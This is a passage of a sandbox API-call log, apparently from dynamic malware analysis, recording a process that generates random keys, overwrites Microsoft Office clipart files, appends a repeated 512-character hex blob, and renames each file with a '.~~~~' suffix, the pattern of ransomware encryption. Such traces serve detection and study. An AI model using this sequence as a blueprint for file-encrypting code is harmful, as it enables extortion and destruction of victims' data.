	[0108.447] CryptReleaseContext (hProv=0x3a0048, dwFlags=0x0) returned 1
	[0108.447] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x363058 | out: hHeap=0x300000) returned 1
	[0108.447] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x8) returned 0x368bb0
	[0108.447] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x120c) returned 0x2878618
	[0108.447] QueryPerformanceCounter (in: lpPerformanceCount=0x1f8fc48 | out: lpPerformanceCount=0x1f8fc48*=22843697598) returned 1
	[0108.447] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x1f8fc88 | out: lpSystemTimeAsFileTime=0x1f8fc88*(dwLowDateTime=0xaa4c7710, dwHighDateTime=0x1d60e1e)) 
	[0108.447] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x14) returned 0x362400
	[0108.447] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x14) returned 0x362340
	[0108.447] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x40) returned 0x357128
	[0108.447] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x30) returned 0x2807f78
	[0108.447] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x47) returned 0x3582f8
	[0108.447] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x2807f78 | out: hHeap=0x300000) returned 1
	[0108.447] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x6a) returned 0x27fd3a0
	[0108.447] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x3582f8 | out: hHeap=0x300000) returned 1
	[0108.447] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x9e) returned 0x28a40d8
	[0108.448] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x27fd3a0 | out: hHeap=0x300000) returned 1
	[0108.448] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x90) returned 0x2828e38
	[0108.448] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x28a40d8 | out: hHeap=0x300000) returned 1
	[0108.448] RaiseException (dwExceptionCode=0xe06d7363, dwExceptionFlags=0x1, nNumberOfArguments=0x3, lpArguments=0x1f8fb18) 
	[0108.448] GetLastError () returned 0x0
	[0108.448] GetLastError () returned 0x0
	[0108.448] RtlUnwind (TargetFrame=0x1f8fc20, TargetIp=0x423f9b, ExceptionRecord=0x1f8f5dc, ReturnValue=0x0) 
	[0108.448] GetLastError () returned 0x0
	[0108.448] GetLastError () returned 0x0
	[0108.457] SetFilePointerEx (in: hFile=0x138, liDistanceToMove=0xfffe7000, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1
	[0108.457] WriteFile (in: hFile=0x138, lpBuffer=0x29b8090*, nNumberOfBytesToWrite=0x19000, lpNumberOfBytesWritten=0x1f8fec0, lpOverlapped=0x0 | out: lpBuffer=0x29b8090*, lpNumberOfBytesWritten=0x1f8fec0*=0x19000, lpOverlapped=0x0) returned 1
	[0108.459] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x29b8090 | out: hHeap=0x300000) returned 1
	[0108.459] SetFilePointerEx (in: hFile=0x138, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1
	[0108.459] WriteFile (in: hFile=0x138, lpBuffer=0x368bb0*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x1f8fec0, lpOverlapped=0x0 | out: lpBuffer=0x368bb0*, lpNumberOfBytesWritten=0x1f8fec0*=0x8, lpOverlapped=0x0) returned 1
	[0108.459] lstrlenA (lpString="ff9adce5d1999a19d7a1bf41e23a0520dc7873573292a0f0d4cb5ded2ad86c32d7e2da327a4cc55a621e77502b8e9936edbe6c2a95ba91b54d5135697840713b503a1bb495553b8b82806202a8690e6b446dab3a37f229028214d58fce3623dfe03ad041a836746ff68feb9e3d7a9daffeda13d592267e845a652662e2b5552b184ffc86ef05570139632d703f5d377e9c8421469caa9044650bd1effe73e654cecd9aac565e691430a97cfb177904cd8ab67c0ab614b6129833debf0b9d3135ae002eb221e4966953f46fcbd39aa5c8729834b83294aa7d387e63c53c0755302477b25257e354276c4111a1840fee8b8bbfe99664f3bec5880763f2bb52d93b") returned 512
	[0108.459] WriteFile (in: hFile=0x138, lpBuffer=0x47c6e8*, nNumberOfBytesToWrite=0x200, lpNumberOfBytesWritten=0x1f8fec0, lpOverlapped=0x0 | out: lpBuffer=0x47c6e8*, lpNumberOfBytesWritten=0x1f8fec0*=0x200, lpOverlapped=0x0) returned 1
	[0108.459] CloseHandle (hObject=0x138) returned 1
	[0108.460] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0xa0) returned 0x28a40d8
	[0108.460] MoveFileW (lpExistingFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0382968.JPG" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0382968.jpg"), lpNewFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0382968.JPG.~~~~" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0382968.jpg.~~~~")) returned 1
	[0108.461] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x28a40d8 | out: hHeap=0x300000) returned 1
	[0108.461] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x357128 | out: hHeap=0x300000) returned 1
	[0108.461] GetLastError () returned 0x0
	[0108.462] CryptAcquireContextA (in: phProv=0x1f8fcdc, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x1f8fcdc*=0x3a0048) returned 1
	[0108.464] CryptGenRandom (in: hProv=0x3660b0, dwLen=0x20, pbBuffer=0x363058 | out: pbBuffer=0x363058) returned 1
	[0108.464] CryptReleaseContext (hProv=0x3a0048, dwFlags=0x0) returned 1
	[0108.464] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x363058 | out: hHeap=0x300000) returned 1
	[0108.464] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x8) returned 0x368bb0
	[0108.464] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x120c) returned 0x2878618
	[0108.464] QueryPerformanceCounter (in: lpPerformanceCount=0x1f8fc48 | out: lpPerformanceCount=0x1f8fc48*=22845404900) returned 1
	[0108.464] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x1f8fc88 | out: lpSystemTimeAsFileTime=0x1f8fc88*(dwLowDateTime=0xaa4ed870, dwHighDateTime=0x1d60e1e)) 
	[0108.464] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x14) returned 0x362340
	[0108.464] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x14) returned 0x362400
	[0108.464] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x40) returned 0x357128
	[0108.464] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x30) returned 0x2807fb0
	[0108.464] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x47) returned 0x3582f8
	[0108.464] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x2807fb0 | out: hHeap=0x300000) returned 1
	[0108.464] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x6a) returned 0x27fd3a0
	[0108.464] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x3582f8 | out: hHeap=0x300000) returned 1
	[0108.465] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x9e) returned 0x28a40d8
	[0108.465] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x27fd3a0 | out: hHeap=0x300000) returned 1
	[0108.465] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x90) returned 0x2828f68
	[0108.465] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x28a40d8 | out: hHeap=0x300000) returned 1
	[0108.465] RaiseException (dwExceptionCode=0xe06d7363, dwExceptionFlags=0x1, nNumberOfArguments=0x3, lpArguments=0x1f8fb18) 
	[0108.465] GetLastError () returned 0x0
	[0108.465] GetLastError () returned 0x0
	[0108.465] RtlUnwind (TargetFrame=0x1f8fc20, TargetIp=0x423f9b, ExceptionRecord=0x1f8f5dc, ReturnValue=0x0) 
	[0108.465] GetLastError () returned 0x0
	[0108.466] GetLastError () returned 0x0
	[0108.469] SetFilePointerEx (in: hFile=0x138, liDistanceToMove=0xfffe8861, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1
	[0108.469] WriteFile (in: hFile=0x138, lpBuffer=0x29b8090*, nNumberOfBytesToWrite=0x1779f, lpNumberOfBytesWritten=0x1f8fec0, lpOverlapped=0x0 | out: lpBuffer=0x29b8090*, lpNumberOfBytesWritten=0x1f8fec0*=0x1779f, lpOverlapped=0x0) returned 1
	[0108.471] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x29b8090 | out: hHeap=0x300000) returned 1
	[0108.471] SetFilePointerEx (in: hFile=0x138, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1
	[0108.471] WriteFile (in: hFile=0x138, lpBuffer=0x368bb0*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x1f8fec0, lpOverlapped=0x0 | out: lpBuffer=0x368bb0*, lpNumberOfBytesWritten=0x1f8fec0*=0x8, lpOverlapped=0x0) returned 1
	[0108.471] lstrlenA (lpString="ff9adce5d1999a19d7a1bf41e23a0520dc7873573292a0f0d4cb5ded2ad86c32d7e2da327a4cc55a621e77502b8e9936edbe6c2a95ba91b54d5135697840713b503a1bb495553b8b82806202a8690e6b446dab3a37f229028214d58fce3623dfe03ad041a836746ff68feb9e3d7a9daffeda13d592267e845a652662e2b5552b184ffc86ef05570139632d703f5d377e9c8421469caa9044650bd1effe73e654cecd9aac565e691430a97cfb177904cd8ab67c0ab614b6129833debf0b9d3135ae002eb221e4966953f46fcbd39aa5c8729834b83294aa7d387e63c53c0755302477b25257e354276c4111a1840fee8b8bbfe99664f3bec5880763f2bb52d93b") returned 512
	[0108.471] WriteFile (in: hFile=0x138, lpBuffer=0x47c6e8*, nNumberOfBytesToWrite=0x200, lpNumberOfBytesWritten=0x1f8fec0, lpOverlapped=0x0 | out: lpBuffer=0x47c6e8*, lpNumberOfBytesWritten=0x1f8fec0*=0x200, lpOverlapped=0x0) returned 1
	[0108.471] CloseHandle (hObject=0x138) returned 1
	[0108.472] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0xa0) returned 0x28a4618
	[0108.472] MoveFileW (lpExistingFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0382969.JPG" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0382969.jpg"), lpNewFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0382969.JPG.~~~~" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0382969.jpg.~~~~")) returned 1
	[0108.473] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x28a4618 | out: hHeap=0x300000) returned 1
	[0108.473] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x357128 | out: hHeap=0x300000) returned 1
	[0108.473] GetLastError () returned 0x0
	[0108.473] CryptAcquireContextA (in: phProv=0x1f8fcdc, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x1f8fcdc*=0x3a0048) returned 1
	[0108.475] CryptGenRandom (in: hProv=0x3660b0, dwLen=0x20, pbBuffer=0x363058 | out: pbBuffer=0x363058) returned 1
	[0108.475] CryptReleaseContext (hProv=0x3a0048, dwFlags=0x0) returned 1
	[0108.475] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x363058 | out: hHeap=0x300000) returned 1
	[0108.475] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x8) returned 0x368bb0
	[0108.475] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x120c) returned 0x2878618
	[0108.475] QueryPerformanceCounter (in: lpPerformanceCount=0x1f8fc48 | out: lpPerformanceCount=0x1f8fc48*=22846508325) returned 1
	[0108.555] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x1f8fc88 | out: lpSystemTimeAsFileTime=0x1f8fc88*(dwLowDateTime=0xaa5abf50, dwHighDateTime=0x1d60e1e)) 
	[0108.555] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x14) returned 0x362380
	[0108.555] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x14) returned 0x3623a0
	[0108.555] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x40) returned 0x3570e0
	[0108.555] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x30) returned 0x2807d10
	[0108.555] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x47) returned 0x3582f8
	[0108.555] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x2807d10 | out: hHeap=0x300000) returned 1
	[0108.555] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x6a) returned 0x27fd3a0
	[0108.555] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x3582f8 | out: hHeap=0x300000) returned 1
	[0108.555] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x9e) returned 0x28a2bd8
	[0108.555] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x27fd3a0 | out: hHeap=0x300000) returned 1
	[0108.555] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x90) returned 0x2829390
	[0108.555] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x28a2bd8 | out: hHeap=0x300000) returned 1
	[0108.555] RaiseException (dwExceptionCode=0xe06d7363, dwExceptionFlags=0x1, nNumberOfArguments=0x3, lpArguments=0x1f8fb18) 
	[0108.556] GetLastError () returned 0x0
	[0108.556] GetLastError () returned 0x0
	[0108.556] RtlUnwind (TargetFrame=0x1f8fc20, TargetIp=0x423f9b, ExceptionRecord=0x1f8f5dc, ReturnValue=0x0) 
	[0108.556] GetLastError () returned 0x0
	[0108.556] GetLastError () returned 0x0
	[0108.578] SetFilePointerEx (in: hFile=0x138, liDistanceToMove=0xfffea46c, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1
	[0108.578] WriteFile (in: hFile=0x138, lpBuffer=0x2916058*, nNumberOfBytesToWrite=0x15b94, lpNumberOfBytesWritten=0x1f8fec0, lpOverlapped=0x0 | out: lpBuffer=0x2916058*, lpNumberOfBytesWritten=0x1f8fec0*=0x15b94, lpOverlapped=0x0) returned 1
	[0108.579] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x2916058 | out: hHeap=0x300000) returned 1
	[0108.582] SetFilePointerEx (in: hFile=0x138, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1
	[0108.582] WriteFile (in: hFile=0x138, lpBuffer=0x368bb0*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x1f8fec0, lpOverlapped=0x0 | out: lpBuffer=0x368bb0*, lpNumberOfBytesWritten=0x1f8fec0*=0x8, lpOverlapped=0x0) returned 1
	[0108.583] lstrlenA (lpString="ff9adce5d1999a19d7a1bf41e23a0520dc7873573292a0f0d4cb5ded2ad86c32d7e2da327a4cc55a621e77502b8e9936edbe6c2a95ba91b54d5135697840713b503a1bb495553b8b82806202a8690e6b446dab3a37f229028214d58fce3623dfe03ad041a836746ff68feb9e3d7a9daffeda13d592267e845a652662e2b5552b184ffc86ef05570139632d703f5d377e9c8421469caa9044650bd1effe73e654cecd9aac565e691430a97cfb177904cd8ab67c0ab614b6129833debf0b9d3135ae002eb221e4966953f46fcbd39aa5c8729834b83294aa7d387e63c53c0755302477b25257e354276c4111a1840fee8b8bbfe99664f3bec5880763f2bb52d93b") returned 512
	[0108.583] WriteFile (in: hFile=0x138, lpBuffer=0x47c6e8*, nNumberOfBytesToWrite=0x200, lpNumberOfBytesWritten=0x1f8fec0, lpOverlapped=0x0 | out: lpBuffer=0x47c6e8*, lpNumberOfBytesWritten=0x1f8fec0*=0x200, lpOverlapped=0x0) returned 1
	[0108.583] CloseHandle (hObject=0x138) returned 1
	[0108.583] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0xa0) returned 0x28a2bd8
	[0108.583] MoveFileW (lpExistingFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0382970.JPG" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0382970.jpg"), lpNewFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0382970.JPG.~~~~" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0382970.jpg.~~~~")) returned 1
	[0108.616] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x28a2bd8 | out: hHeap=0x300000) returned 1
	[0108.616] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x3570e0 | out: hHeap=0x300000) returned 1
	[0108.616] GetLastError () returned 0x0
	[0108.617] CryptAcquireContextA (in: phProv=0x1f8fcdc, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x1f8fcdc*=0x2942208) returned 1
	[0108.628] CryptGenRandom (in: hProv=0x3660b0, dwLen=0x20, pbBuffer=0x363058 | out: pbBuffer=0x363058) returned 1
	[0108.628] CryptReleaseContext (hProv=0x2942208, dwFlags=0x0) returned 1
	[0108.628] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x363058 | out: hHeap=0x300000) returned 1
	[0108.628] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x8) returned 0x368bb0
	[0108.628] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x120c) returned 0x2878618
	[0108.628] QueryPerformanceCounter (in: lpPerformanceCount=0x1f8fc48 | out: lpPerformanceCount=0x1f8fc48*=22861840247) returned 1
	[0108.628] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x1f8fc88 | out: lpSystemTimeAsFileTime=0x1f8fc88*(dwLowDateTime=0xaa66a630, dwHighDateTime=0x1d60e1e)) 
	[0108.628] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x14) returned 0x3623a0
	[0108.629] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x14) returned 0x362380
	[0108.629] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x40) returned 0x3570e0
	[0108.629] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x30) returned 0x2808250
	[0108.629] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x47) returned 0x3582f8
	[0108.629] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x2808250 | out: hHeap=0x300000) returned 1
	[0108.629] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x6a) returned 0x27fd3a0
	[0108.629] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x3582f8 | out: hHeap=0x300000) returned 1
	[0108.629] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x9e) returned 0x28a2bd8
	[0108.629] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x27fd3a0 | out: hHeap=0x300000) returned 1
	[0108.629] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x90) returned 0x2829688
	[0108.629] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x28a2bd8 | out: hHeap=0x300000) returned 1
	[0108.629] RaiseException (dwExceptionCode=0xe06d7363, dwExceptionFlags=0x1, nNumberOfArguments=0x3, lpArguments=0x1f8fb18) 
	[0108.630] GetLastError () returned 0x0
	[0108.630] GetLastError () returned 0x0
	[0108.630] RtlUnwind (TargetFrame=0x1f8fc20, TargetIp=0x423f9b, ExceptionRecord=0x1f8f5dc, ReturnValue=0x0) 
	[0108.630] GetLastError () returned 0x0
	[0108.630] GetLastError () returned 0x0
	[0108.635] SetFilePointerEx (in: hFile=0x138, liDistanceToMove=0xffff34f6, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1
	[0108.635] WriteFile (in: hFile=0x138, lpBuffer=0x28e4048*, nNumberOfBytesToWrite=0xcb0a, lpNumberOfBytesWritten=0x1f8fec0, lpOverlapped=0x0 | out: lpBuffer=0x28e4048*, lpNumberOfBytesWritten=0x1f8fec0*=0xcb0a, lpOverlapped=0x0) returned 1
	[0108.637] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x28e4048 | out: hHeap=0x300000) returned 1
	[0108.637] SetFilePointerEx (in: hFile=0x138, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1
	[0108.637] WriteFile (in: hFile=0x138, lpBuffer=0x368bb0*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x1f8fec0, lpOverlapped=0x0 | out: lpBuffer=0x368bb0*, lpNumberOfBytesWritten=0x1f8fec0*=0x8, lpOverlapped=0x0) returned 1
	[0108.637] lstrlenA (lpString="ff9adce5d1999a19d7a1bf41e23a0520dc7873573292a0f0d4cb5ded2ad86c32d7e2da327a4cc55a621e77502b8e9936edbe6c2a95ba91b54d5135697840713b503a1bb495553b8b82806202a8690e6b446dab3a37f229028214d58fce3623dfe03ad041a836746ff68feb9e3d7a9daffeda13d592267e845a652662e2b5552b184ffc86ef05570139632d703f5d377e9c8421469caa9044650bd1effe73e654cecd9aac565e691430a97cfb177904cd8ab67c0ab614b6129833debf0b9d3135ae002eb221e4966953f46fcbd39aa5c8729834b83294aa7d387e63c53c0755302477b25257e354276c4111a1840fee8b8bbfe99664f3bec5880763f2bb52d93b") returned 512
	[0108.638] WriteFile (in: hFile=0x138, lpBuffer=0x47c6e8*, nNumberOfBytesToWrite=0x200, lpNumberOfBytesWritten=0x1f8fec0, lpOverlapped=0x0 | out: lpBuffer=0x47c6e8*, lpNumberOfBytesWritten=0x1f8fec0*=0x200, lpOverlapped=0x0) returned 1
	[0108.638] CloseHandle (hObject=0x138) returned 1
	[0108.638] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0xa0) returned 0x28a4810
	[0108.638] MoveFileW (lpExistingFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0387337.JPG" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0387337.jpg"), lpNewFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0387337.JPG.~~~~" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0387337.jpg.~~~~")) returned 1
	[0108.639] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x28a4810 | out: hHeap=0x300000) returned 1
	[0108.639] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x3570e0 | out: hHeap=0x300000) returned 1
	[0108.639] GetLastError () returned 0x0
	[0108.640] CryptAcquireContextA (in: phProv=0x1f8fcdc, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x1f8fcdc*=0x2942208) returned 1
	[0108.642] CryptGenRandom (in: hProv=0x3660b0, dwLen=0x20, pbBuffer=0x363058 | out: pbBuffer=0x363058) returned 1
	[0108.642] CryptReleaseContext (hProv=0x2942208, dwFlags=0x0) returned 1
	[0108.642] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x363058 | out: hHeap=0x300000) returned 1
	[0108.642] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x8) returned 0x368bb0
	[0108.642] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x120c) returned 0x2878618
	[0108.642] QueryPerformanceCounter (in: lpPerformanceCount=0x1f8fc48 | out: lpPerformanceCount=0x1f8fc48*=22863214638) returned 1
	[0108.642] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x1f8fc88 | out: lpSystemTimeAsFileTime=0x1f8fc88*(dwLowDateTime=0xaa690790, dwHighDateTime=0x1d60e1e)) 
	[0108.642] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x14) returned 0x362380
	[0108.642] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x14) returned 0x3623a0
	[0108.642] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x40) returned 0x3570e0
	[0108.642] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x30) returned 0x28082c0
	[0108.642] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x47) returned 0x3582f8
	[0108.642] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x28082c0 | out: hHeap=0x300000) returned 1
	[0108.642] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x6a) returned 0x27fd3a0
	[0108.643] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x3582f8 | out: hHeap=0x300000) returned 1
	[0108.643] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x9e) returned 0x28a4810
	[0108.643] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x27fd3a0 | out: hHeap=0x300000) returned 1
	[0108.643] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x90) returned 0x2829720
	[0108.643] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x28a4810 | out: hHeap=0x300000) returned 1
	[0108.643] RaiseException (dwExceptionCode=0xe06d7363, dwExceptionFlags=0x1, nNumberOfArguments=0x3, lpArguments=0x1f8fb18) 
	[0108.643] GetLastError () returned 0x0
	[0108.643] GetLastError () returned 0x0
	[0108.643] RtlUnwind (TargetFrame=0x1f8fc20, TargetIp=0x423f9b, ExceptionRecord=0x1f8f5dc, ReturnValue=0x0) 
	[0108.643] GetLastError () returned 0x0
	[0108.644] GetLastError () returned 0x0
	[0108.666] SetFilePointerEx (in: hFile=0x138, liDistanceToMove=0xffff6739, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1
	[0108.667] WriteFile (in: hFile=0x138, lpBuffer=0x28e4048*, nNumberOfBytesToWrite=0x98c7, lpNumberOfBytesWritten=0x1f8fec0, lpOverlapped=0x0 | out: lpBuffer=0x28e4048*, lpNumberOfBytesWritten=0x1f8fec0*=0x98c7, lpOverlapped=0x0) returned 1
	[0108.668] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x28e4048 | out: hHeap=0x300000) returned 1
	[0108.668] SetFilePointerEx (in: hFile=0x138, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1
	[0108.668] WriteFile (in: hFile=0x138, lpBuffer=0x368bb0*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x1f8fec0, lpOverlapped=0x0 | out: lpBuffer=0x368bb0*, lpNumberOfBytesWritten=0x1f8fec0*=0x8, lpOverlapped=0x0) returned 1
	[0108.669] lstrlenA (lpString="ff9adce5d1999a19d7a1bf41e23a0520dc7873573292a0f0d4cb5ded2ad86c32d7e2da327a4cc55a621e77502b8e9936edbe6c2a95ba91b54d5135697840713b503a1bb495553b8b82806202a8690e6b446dab3a37f229028214d58fce3623dfe03ad041a836746ff68feb9e3d7a9daffeda13d592267e845a652662e2b5552b184ffc86ef05570139632d703f5d377e9c8421469caa9044650bd1effe73e654cecd9aac565e691430a97cfb177904cd8ab67c0ab614b6129833debf0b9d3135ae002eb221e4966953f46fcbd39aa5c8729834b83294aa7d387e63c53c0755302477b25257e354276c4111a1840fee8b8bbfe99664f3bec5880763f2bb52d93b") returned 512
	[0108.669] WriteFile (in: hFile=0x138, lpBuffer=0x47c6e8*, nNumberOfBytesToWrite=0x200, lpNumberOfBytesWritten=0x1f8fec0, lpOverlapped=0x0 | out: lpBuffer=0x47c6e8*, lpNumberOfBytesWritten=0x1f8fec0*=0x200, lpOverlapped=0x0) returned 1
	[0108.669] CloseHandle (hObject=0x138) returned 1
	[0108.669] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0xa0) returned 0x28a2bd8
	[0108.669] MoveFileW (lpExistingFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0387591.JPG" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0387591.jpg"), lpNewFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0387591.JPG.~~~~" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0387591.jpg.~~~~")) returned 1
	[0108.670] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x28a2bd8 | out: hHeap=0x300000) returned 1
